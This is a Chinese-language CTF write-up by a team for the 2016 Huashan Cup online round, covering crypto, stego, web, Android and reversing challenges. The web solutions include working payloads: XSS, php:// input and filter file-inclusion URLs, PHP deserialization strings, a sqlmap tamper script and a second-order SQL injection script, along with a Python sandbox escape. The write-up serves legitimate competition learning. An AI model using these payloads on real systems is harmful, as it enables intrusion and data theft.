中国 • 西安2016 “华山杯” 网络安全技能大赛 线上赛Writeup

Screenshot_20160911_003930.png

好久不见。

先放出一个第一版的Writeup吧,其中很多细节没有讲清楚,后期会详细整理一下。

总览

  • 新的协同机制
  • 休息了一段时间,重新上路
主办方傻逼,mdzz

Crypto

紧急报文(50)

对crypto.txt中内容解密后,直接查表可得flag:

flag_Xd{hSh_ctf:flagxidianctf}

is it x or z? (100)

In [12]: xor(s,s2)
Out[12]: "\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must bel  \n\n~jcp lettci<js*~ti|fj$i^o` nnshqfO/gve}ilgs vnoF\xa7\x98\x98v3'.mj=q,su'mqLB|fd w\x1c:\x14\xe3\x81\x82m0%i#pev`.un&y$\x0f"
In [13]: with open("crypt-2.txt","r") as fp:
       s2 = fp.read()
  ....:
In [14]: xor(s2,"now you must believe in yourself")
Out[14]: '\x02my0\x06N~.%KnX76a3}e3r+io;8x:~hxn*f\x0cdE'
In [15]: xor(s2,"\nnow you must believe in yourself")
Out[15]: 'flag_Xd{hSh_ctf:xi an huan ying ni}\n'
[12:42]  

分组加密模式预测(150)

乍一看 有一堆 base64 解了一下 发现乱码
根据提示分组 想到ECB 加密 密文会出现重复的 所以写个脚本 找重复的组 然后找到两个串,解码其中一个串 取前16位就行了

# Copyright (c) 7 team  All rights reserved
for i in open('q.txt','r'):
   for i in range(0,255,4):
      tmp=i[a:a+4]
      res=re.compile(r'%s'%tmp).findall(i)
      if len(res)>2:
         print res
         print i
         break

flag_Xd{hSh_ctf:d880619740a8a19b}

协议?认证?加密?(300)

# Copyright (c) 7 team  All rights reserved
from Crypto.Cipher import AES
from binascii import *
import gmpy2
import re
g = 7
p = 1023789085312022807
A = 651518302569801068
B = 310117834581236149
secret = 0x5365637263742064617461210a2fa0c7a10e0d87a58f52bd
#flag = 'KeyXchge-N0t-So-Easy*Humen'

a = 1

myA = 7
a = 274389752
s = gmpy2.powmod(B, a, p)
#s = 844469193616983517
print s
key = s
print len(key)
length = 128
count = len(key)
if count != length:
    key = b'0' * (length - count) + bin(key)[2:]
mode = AES.MODE_CBC
#print len(key)

char = re.findall(r'.{8}', key)
string = ''
for cha in char:
    cha = hex(int(cha, 2))
    #cha = cha & 0xff
    #string += chr(int(cha, 16))
    string  = a2b_hex(cha)
key = string
print key
def decrypo(cipher):
    crypter = AES.new(bin(key), mode, bin(key))
    flag = crypter.decrypt(a2b_hex(cipher))
    print flag

flag = decrypo(secret)
print 'flag: ' + flag               

时间决定一切(350)

这个页面比较有参考价值:https://github.com/SpiderLabs/CryptOMG/blob/master/ctf/challenge3/index.php

$ echo gjVGaqJZOnjm54LirXgElRIAOnb8oVEWfkj/7medMRU= | base64 -d | xxd
00000000: 8235 466a a259 3a78 e6e7 82e2 ad78 0495  .5Fj.Y:x.....x..
00000010: 1200 3a76 fca1 5116 7e48 ffee 679d 3115  ..:v..Q.~H..g.1.

从侧信道攻击的角度考虑,我们可以依次比较每个字符,对于不同的输入数据,执行10000次操作,耗费的时间是不同的,这样逐个字符破解,就可以得到目标值。

Forensics & Misc

蒲公英的约定(100)


什么鬼(100)

解压爆破密码后,得到一张图片。适当修改,暴露定位点后,扫描解码即可得到flag。

qr.png

客官,听点小曲(150)

首先用mp3stego解密:

mp3stego -X -P cheers song.mp3

得到字符:

fdc3_#l{tsf#ahfte}gs:en_hmgcX_poe

应该是简单地古典密码,直接观察,得到:

flag_Xd{hSh_ctf:mp3stego_fence##}

Try Everything(200)

# Copyright (c) 7 team  All rights reserved
import binascii
with open('file','rb') as f:
    c=f.read()    
k=-1
l=[]
for i in range(0,len(c)):
    if c[i]==31 and c[i+1]==139 and c[i+2]==8:
        k+=1
        if(len(hex(c[i]))<4):
            b='0'+hex(c[i])[2:]
        else:
            b=hex(c[i])[2:]
        l.append(b)
    else:
        if(len(hex(c[i]))<4):
            b='0'+hex(c[i])[2:]
        else:
            b=hex(c[i])[2:]
        l[k]+=b
for i in range(0,len(l)):
    with open('11/'+str(i)+'.gz','wb') as f:
        f.write(binascii.unhexlify(l[i]))
#windows 下右键7zip全部解压
s=''
for i in range(0,164):
    with open('11/'+str(i),'r') as f:
        s+=f.read()
print(s)

挣脱牢笼(200)

# Copyright (c) 7 team  All rights reserved
__builtins__['a']=(1).__class__.__base__
__builtins__['a']=a.__subclasses__()
__builtins__['a']=a[40]
a('flag.txt','r').read()
#flag_Xd{hSh_ctf:py_sandbox_1s_fun!@}

Web

签到(10)

关注公众号后,直接按照要求发送消息,即可得到flag。

打不过~(50)

打开查看请求头,看到一段base64:OGM0MzU1NTc3MTdhMTQ4NTc4ZmQ4MjJhYWVmOTYwNzk=,解码之后是一段md5:8c435557717a148578fd822aaef96079,去解密得到1931b。提交payload

http://huashan.*****.cn/ctf_hs_00b.php?Password=1931b

flag_Xd{hSh_ctf:XD_aA@lvmM}

系统管理(100)

查看源代码,有:

Clipboard Image.png

提交md5后0开头字符串240610708绕过,得到user.php,进去之后,得到另一段代码

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' &&$data_unserialize['pass']=='???') {
    print_r($flag);
}

反序列化,php弱类型,布尔类型任意字符相”==”为真。在主页post提交:

username=240610708&password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

flag:flag_Xd{hSh_ctf:kidhvuensl^$}

简单JS(100)

看源代码里面的js需要比较a的值

Clipboard Image (1).png

控制台直接输入a回车拿到a的值输入就好,a=14208
Flag:flag_Xd{hSh_ctf:fhv84vud83vfd}

弹弹弹!(150)

Xss题目,直接弹就行,
payload:

<svnonload=alert(s)>
http://huashan.*****.cn/ctf_hs_00a.php?name=%3Csvng%20onload=alert(s)%3E

flag_Xd{hSh_ctf:xsL98SsoX!}

233(150)

看源代码里有一段jsfuck,解密后保存为txt。使用python

Clipboard Image (2).png

得到一句话密码e@syt0g3t
Flag: flag_Xd{hSh_ctf: e@syt0g3t}

PHP很烦人(200)

打开源码;

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="the user isadmin")){
    echo "helloadmin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin !";
}

构造php输入流php://input协议绕过文件内容判断

http://huashan.*****.cn/php/index.php?file=class.php&user=php://input

post提交:the user is admin

Clipboard Image (3).png

此处还有一个file参数是文件包含,使php://filter协议来读文件

http://huashan.*****.cn/php/index.php?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

Clipboard Image (4).png

Base64解出来:

<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echofile_get_contents($this->file);   
        }
        return "__toString wascalled!";
    }
}
?>

再读index.php

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is
admin")){
    echo "hello
admin!<br>";
    if(preg_match("/f1a9/",$file)){
       exit();
    }else{
       include($file); //class.php
       $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin !
";
}
?>

可以确定flag在f1a9.php里,但是不能主页直接包含读取,这里使用pass反序列之后读取

http://huashan.*****.cn/php/index.php?user=php://input&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}&file=class.php

Clipboard Image (5).png

Flag:flag_Xd{hSh_ctf:djvS_DJG7FJ3_wd7kv}

无间道(200)

比较简单的一道上传截断题目,过程不多说。直接fuzz %80~%00中间的字符,即可上传成功,得到返回的flag。由于上传删除文件的过程有延时,可能存在竞争上传问题。

flag_Xd{hSh_ctf:asu@3sud9:!}

More try(200)

这里明显的role参数里是两次base64编码,测试后可以注入。使用sqlmap的random user-agent绕过一下,并编写两次base64的tamper:

#!/usr/bin/env python
# Copyright (c) 7 team  All rights reserved
from lib.core.enums import PRIORITY
from urllib import urlencode
import base64
import urllib
__priority__ = PRIORITY.LOW
def tamper(payload):
    retVal = payload
    retVal = base64.b64encode(retVal)
    retVal = base64.b64encode(retVal)
    retVal = urllib.quote(retVal)
    return retVal

注入后获得flag

flag_xd{hsh_ctf:sql_succeed!}

三秒钟记忆(300)

二次注入,触发点在密码找回那边。exp:

import requests
import base64
import os
import random
#by mathias@xdsec
# Copyright (c) 7 team  All rights reserved
def regist(usr):
    flag=False
    url="http://huashan.*****.cn/pic/index.php?page=login"
    payload={'name':usr,'pass':'123456','email':'123456','register':'%E6%B3%A8%E5%86%8C'}
    r=requests.post(url,data=payload)
    txt=r.text.encode('utf-8')
    if 'Duplicate' in txt or len(txt)==503:
        flag=True
    return flag

def reset(usr):
    flag=False
    url="http://huashan.*****.cn/pic/index.php?page=login"
    payload={'name':usr,'reset':'%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81'}
    r=requests.post(url,data=payload)
    if len(r.text)==460:
        flag=True
    return flag

if __name__=="__main__":

    url="http://huashan.*****.cn/pic/index.php?page=login"
    flag=False
    user=str(random.randint(10000000000,99999999999))
    p=user+'\' and (select ascii(substr(flag,1,1)) from flag)>50#' 
    flag=regist(user)
    if not flag:
        print "regist "+user+" error"
        os._exit()
    else:
        print "regist "+user+" success"

    flag=regist(p)
    if not flag:
        print "regist "+p+" error"
        os._exit()
    else:
        print "regist "+p+" success,now reset password"

    flag=reset(p)
    if flag:
        print "Reset success,now inject"
    else:
        print "reset "+p+" error"
        os._exit()

    url="http://huashan.*****.cn/pic/index.php?page=login"
    payload={'name':user,'pass':'123456','login':'%E7%99%BB%E5%BD%95'}
    r=requests.post(url,data=payload)
    if len(r.text)==486:
        print "payload is wrong"
    else:
        print "payload is right"

疯狂的JS(300)

我们推测本题在出题过程中可能借鉴了ttps://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/halphow2js。简单修改参数后,得到一组可用参数:
payload:http://js.xdsec.cn/myajax?a=2.0&b=2.00&c=2.000&d=7&e=762

Clipboard Image (6).png

flag_Xd{hSh_ctf:FKIE&ndG^ks@eJ}

Android

错错错(150)

本题需要通过逆向,了解由随机数生成密钥的方法后,输入到特定网页中,得到Flag。
解密脚本如下

#!/usr/bin/python3
# Copyright (c) 7 team  All rights reserved
# math.random: 0~1

from hashlib import md5,sha1,sha256,sha384
import binascii
from random import random

stringArray="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
stringTochr="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"

ec1="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
ec2="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"

def gen_sn():
    sn=''
    for i in range(8):
        sn+=stringTochr[(int((10 + random() * 90) % 62))]
    #print(sn)
    t=int(random()*4)
    t=0
    #print(t)
    #print(sn+str(t))
    return ((sn+str(t)).encode(),t)

def gen_hash(x):
    if x[1]==0:
        return md5(x[0])
    elif x[1]==1:
        return sha1(x[0])
    elif x[1]==2:
        return sha256(x[0])
    elif x[1]==3:
        return sha384(x[0])
    else:
        raise Exception("Unexcepted type")

def gen_enc(x):
    di=gen_hash(x).hexdigest()
    enc=''
    for i in range(8):
        enc+=str(ec2.index(di[i]))
    return enc

sn=gen_sn()

print(sn)
print(gen_hash(sn).hexdigest())
print(gen_enc(sn))

寻找密码(200)

分析拿到的APK,可以看到看有如下拆包语句:

/*......*/

public class ProxyApplication extends Application {
    /*......*/
    protected void attachBaseContext(Context arg25) {
        /*......*/
        try {
            /*......*/
            this.apkFileName = String.valueOf(v14.getAbsolutePath()) + "/payload.apk";
            File v6 = new File(this.apkFileName);
            if(!v6.exists()) {
                v6.createNewFile();
                this.splitPayLoadFromDex(this.readDexFileFromApk());
        /*......*/
            v5.loadClass("com.nbrc.thorn.SubActivity");
        }
        catch(Exception v18) {
        }
/*......*/
    private byte[] decrypt(byte[] arg3) {
        int v0;
        for(v0 = 0; v0 < arg3.length; ++v0) {
            arg3[v0] = ((byte)(arg3[v0] ^ 255));
        }

        return arg3;
    }
/*......*/
    private byte[] readDexFileFromApk() throws IOException {
        /*......*/
        while(true) {
            ZipEntry v3 = v4.getNextEntry();
            if(v3 == null) {
                break;
            }

            if(v3.getName().equals("classes.dex")) {
                byte[] v0 = new byte[1024];
                while(true) {
                    int v2 = v4.read(v0);
                    if(v2 != -1) {
                        v1.write(v0, 0, v2);
                        continue;
        /*......*/
        return v1.toByteArray();
    }

    private void splitPayLoadFromDex(byte[] arg25) throws IOException {
        int v5 = arg25.length;
        byte[] v8 = new byte[4];
        System.arraycopy(arg25, v5 - 4, v8, 0, 4);
        int v19 = new DataInputStream(new ByteArrayInputStream(v8)).readInt();
        System.out.println(Integer.toHexString(v19));
        byte[] v18 = new byte[v19];
        System.arraycopy(arg25, v5 - 4 - v19, v18, 0, v19);
        v18 = this.decrypt(v18);
        File v9 = new File(this.apkFileName);
        try {
            FileOutputStream v13 = new FileOutputStream(v9);
            v13.write(v18);
            v13.close();
        }
        catch(IOException v14) {
            throw new RuntimeException(((Throwable)v14));
        }

        ZipInputStream v16 = new ZipInputStream(new BufferedInputStream(new FileInputStream(v9)));
        while(true) {
            ZipEntry v15 = v16.getNextEntry();
            if(v15 == null) {
                break;
            }

            String v17 = v15.getName();
            if((v17.startsWith("lib/")) && (v17.endsWith(".so"))) {
/*......*/

分析以上代码可知,下载得到的dex文件除了有正常的dex文件以外,还包含有一个apk文件。其打包结构为:

|-------------------+----------+----------|
| Original Dex file | APK File | APK Size |
|-------------------+----------+----------|

这样我们可以用如下脚本得到第二个文件:

#!/usr/bin/python3
# Copyright (c) 7 team  All rights reserved
fp=open('classes.dex','rb')
fp.seek(-4,2)
sz=int.from_bytes(fp.read(),byteorder='big')
fp.seek(0-4-sz,2)
wp=open('anotherone.apk','wb')
for i in fp.read():
    a=i^255
    a=a&0xff
    wp.write(a.to_bytes(1,'little'))

打开就能直接看到Flag在Base64编码之后的形式:

U2hlMTFfTjZSYw==

顺藤摸瓜(200)

输入的flag被传入so里,先跟一个表3F4D6C5B545B6C5B544638463F1C做运算,再进入n1 'nbrcdpassword' ,n2两个函数,最后和7405847394833303439294822334作比较。唯一比较坑的一点是,我们之前都以为显示信息中冒号后面的一部分才是要提交的值,实际整个文本都要提交上去……

神奇的zip(300)

对APK中的so文件进行分析,观察到如下段落:

做如下Patch:

偏移0x1042  0d49->0199
偏移0x1046  7944->c046

之后执行,则会直接弹出Flag:lxienietIeAehfyih

Reverse

Warming Up(100)

# Copyright (c) 7 team  All rights reserved
>>> a = 'VgobmndVlBVE'
>>> b = ''
>>> for i in xrange(len(a)):
...     b +=chr(ord(a[i])^(i%3+1))
...
>>> print b
WelcomeToCTF

flag_Xd{hSh_ctf:WelcomeToCTF}

到手的钥匙(100)

分析程序,存在一个后门,如下所示输入。拼接即可得到flag

pasted_image_at_2016_09_10_03_37_pm_1024.png

忘记用户名(100)

本题比较简单,只做了简单的加减运算,用一行代码就可以得到结果:

>>>s="ILoveXD";print(''.join([chr(ord(s[i])-i+len(s)) for i in range(len(s))]))
PRtzhZE

直接提交即可

探囊取物(150)

提取文件中的01字符串,如图摆放,可看到flag

pasted_image_at_2016_09_10_04_20_pm_1024.png

flag_Xd{hSh_ctf:HSBSATURDAY}

Help me(150)

如下所示,拼接即可

pasted_image_at_2016_09_10_03_51_pm.png

flag_Xd{hSh_ctf:7B6C7F3A7B7A3A5668676838707A387A}

捉迷藏(150)

本题较为简单。_main+C8处对用户名FindKey做明码比对,在sub_12D1C00+13处,借助浮点寄存器,载入一串base64字符,可自行加入合适的padding后解码:

Python>base64.b64decode('T25Zb3VyQ29tcHV0ZXI=')
OnYourComputer

之后会在%TMP%/flag.jpg中写入flag,即FindKeyOnYourComputerArvinShow

移动迷宫(200)

0123456789abcdefABCDEF01
0A1Ba2b34C5Dc6d78E9Fe0f1
0a4c8eA2C6E01b5d9fB3D7F1
B123456789abcdefABCDEF01

Ba47F1A256E0B347F1B2C6Ef

0A1B
a2b3
4C5D
c6d7
8E9F
e0f1

411444
223222
441444
422223
***********####******#**#*****##*##********#*********#*#####***###***#*********#*********#********##


0123456789
0**********
1*####*****
2*#**#*****
3##*##*****
4***#******
5***#*#####
6***###***#
7*********#
8*********#
9********##

411444223222441444422223

30
314
211
111
124
134
144
242
342
333
432
532
632
644
654
551
564
574
584
594
692
792
892
992
983

flag_Xd{hSh_ctf:Ba47F1A256E0B347F1B2C6Ef}

Do Something(200)

# Copyright (c) 7 team  All rights reserved
Dst[0]  = Dst[8]
Dst[0]  = Dst[9]
Dst[1]  = Dst[10]
Dst[2]  = Dst[4]
Dst[3]  = Dst[5]
Dst[11] = 5
Dst[7]  = 3 * Dst[11]
Dst[13] = 2 * Dst[12]
Dst[0]  = Dst[6] + Dst[12]
Dst[6]  = 2 * Dst[15]

Dst[12] > 5 * Dst[14]
Dst[3]  > 3 * Dst[12]
Dst[0]  > Dst[3]
21      > Dst[0]
Dst[2]  > 4 * Dst[14]
Dst[6]  > Dst[2]
Dst[1]  > 7
Dst[2]  > Dst[1]
Dst[0]  > Dst[1] + Dst[2]

Dst[2] % 3 = 0

线性规划问题,利用z3和pysmt库解出一组解,脚本如下

# Copyright (c) 7 team  All rights reserved
z3

[6:33]  
from z3 import *

a0 = Int('a0')
a1 = Int('a1')
a2 = Int('a2')
a3 = Int('a3')
a4 = Int('a4')
a5 = Int('a5')
a6 = Int('a6')
a7 = Int('a7')
a8 = Int('a8')
a9 = Int('a9')
a10 = Int('a10')
a11 = Int('a11')
a12 = Int('a12')
a13 = Int('a13')
a14 = Int('a14')
a15 = Int('a15')
s = Solver()
s.add(a14>0,a0 == a8,a0 == a9,a1 == a10,a2 == a4,a3 == a5,a11 == 5,a7  == 3*a11,a12 > a14*5,a12 * 2 == a13,a3 > 3*a12,a0 > a3,21 > a0,a0 == a6+a12,a6 == 2*a15,a2>4*a14,a6>a2,a2%3==0,a1>7,a2>a1,a0>a1+a2)
print s.check() 
print s.model()
[a2 = 9, a6 = 14, a14 = 1, a12 = 6, a15 = 7, a1 = 8, a0 = 20, a3 = 19, a13 = 12, a7 = 15, a11 = 5, a5 = 19, a4 = 9, a10 = 8, a9 = 20, a8 = 20]

加上0x60后得到keythisisnottheflag

运行程序输入,得到http://reverse.*****.cn/galfehttonsisiht.php

访问得到flagflag_Xd{hSh_ctf:KaliI5600d}

tagged by none  

5 Comments


  1. 叫爸爸 叫爸爸

    挂了很多图片。。。直接复制粘贴不太好

  2. Azathth Azathth

    客官,听点小曲(150)这一题里,cheers是怎么得到的?

    1. L L

      队友说是在HTTP请求头里= =

  3. 1 1

    如果你真的想被别人看,请写仔细点吧..好多东西都没说出来,第一个,对字符串解密,加密是什么没说,对什么表也没说,下面全都是这样

Comment Closed.

© 2014 ::L Team::